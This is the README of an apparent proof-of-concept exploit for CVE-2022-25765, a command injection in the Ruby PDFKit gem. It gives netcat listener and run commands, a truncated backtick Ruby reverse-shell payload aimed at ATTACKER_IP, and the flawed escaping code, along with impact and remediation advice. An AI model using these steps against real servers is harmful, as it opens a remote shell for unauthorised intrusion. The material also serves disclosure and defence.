CVE-2022-25765 Exploit

A small POC exploit for CVE-2022-25765, PDFkit-CMD-Injection

Usage

1. Start a netcat listener on your attack machine:

   nc -lvnp 4444

2. Run the exploit:

   python cve-2022-25765.py -t http://TARGET_IP:PORT -l YOUR_IP -p YOUR_PORT

Example:

python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444

Parameters:

• -t, --target: Target URL running vulnerable PDFKit
• -l, --lhost: Your IP address for the reverse shell connection
• -p, --lport: Your port for the reverse shell connection (must match your netcat listener)

Vulnerability Information

CVE ID: CVE-2022-25765 CVSS v3.1 Score: 9.8 (Critical) EPSS Score: 71.381% (99th percentile) CWE: CWE-77 - Improper Neutralization of Special Elements used in a Command

Affected Versions

• Vulnerable: PDFKit 0.0.0 - 0.8.6
• Patched: PDFKit 0.8.7.2+

Description

PDFKit is a Ruby gem that converts HTML to PDF using the wkhtmltopdf command-line tool. The vulnerability exists in how PDFKit handles URL parameters before passing them to system shell commands for PDF generation.

Technical Details

The vulnerability resides in lib/pdfkit/source.rb where URL sanitization is improperly implemented:

def shell_safe_url
  url_needs_escaping? ? URI::DEFAULT_PARSER.escape(@source) : @source
end

The Problem:

1. PDFKit uses flawed logic to determine if a URL needs escaping
2. Shell metacharacters (backticks, semicolons, pipes, etc.) can bypass this check
3. Unsanitized URLs are passed directly to shell commands that invoke wkhtmltopdf
4. Attackers can inject arbitrary commands that execute on the server

Attack Vector:

• Complexity: Low
• Privileges Required: None
• User Interaction: None
• Network Access: Required

How This Exploit Works

This PoC exploits the vulnerability by:

1. Injecting a malicious URL containing backtick command substitution
2. The payload: http://ATTACKER_IP:PORT/?name=%20` ruby -rsocket...`'
3. PDFKit fails to sanitize the backticks in the URL parameter
4. When wkhtmltopdf processes the URL, the shell executes the Ruby reverse shell
5. The target system connects back to the attacker's listener

Impact

• Confidentiality: High - Complete system access
• Integrity: High - Ability to modify any files
• Availability: High - Potential for system disruption

Prerequisites for Successful Exploitation

On Target System:

• Vulnerable PDFKit version (< 0.8.7.2)
• Ruby installed (required for the reverse shell payload)
• Application accepts user-controlled URLs passed to PDFKit
• No egress filtering blocking outbound connections

Remediation

1. Upgrade PDFKit to version 0.8.7.2 or later
2. Input Validation: Implement strict allowlisting for URL inputs
3. Sandboxing: Run PDFKit processes in isolated containers with minimal privileges
4. Network Segmentation: Restrict outbound connections from PDF generation services
5. WAF Rules: Deploy rules to detect shell metacharacters in URL parameters

References

• NVD - CVE-2022-25765
• GitHub Advisory GHSA-rhwx-hjx2-x4qr
• PDFKit Issue #507
• RubySec Advisory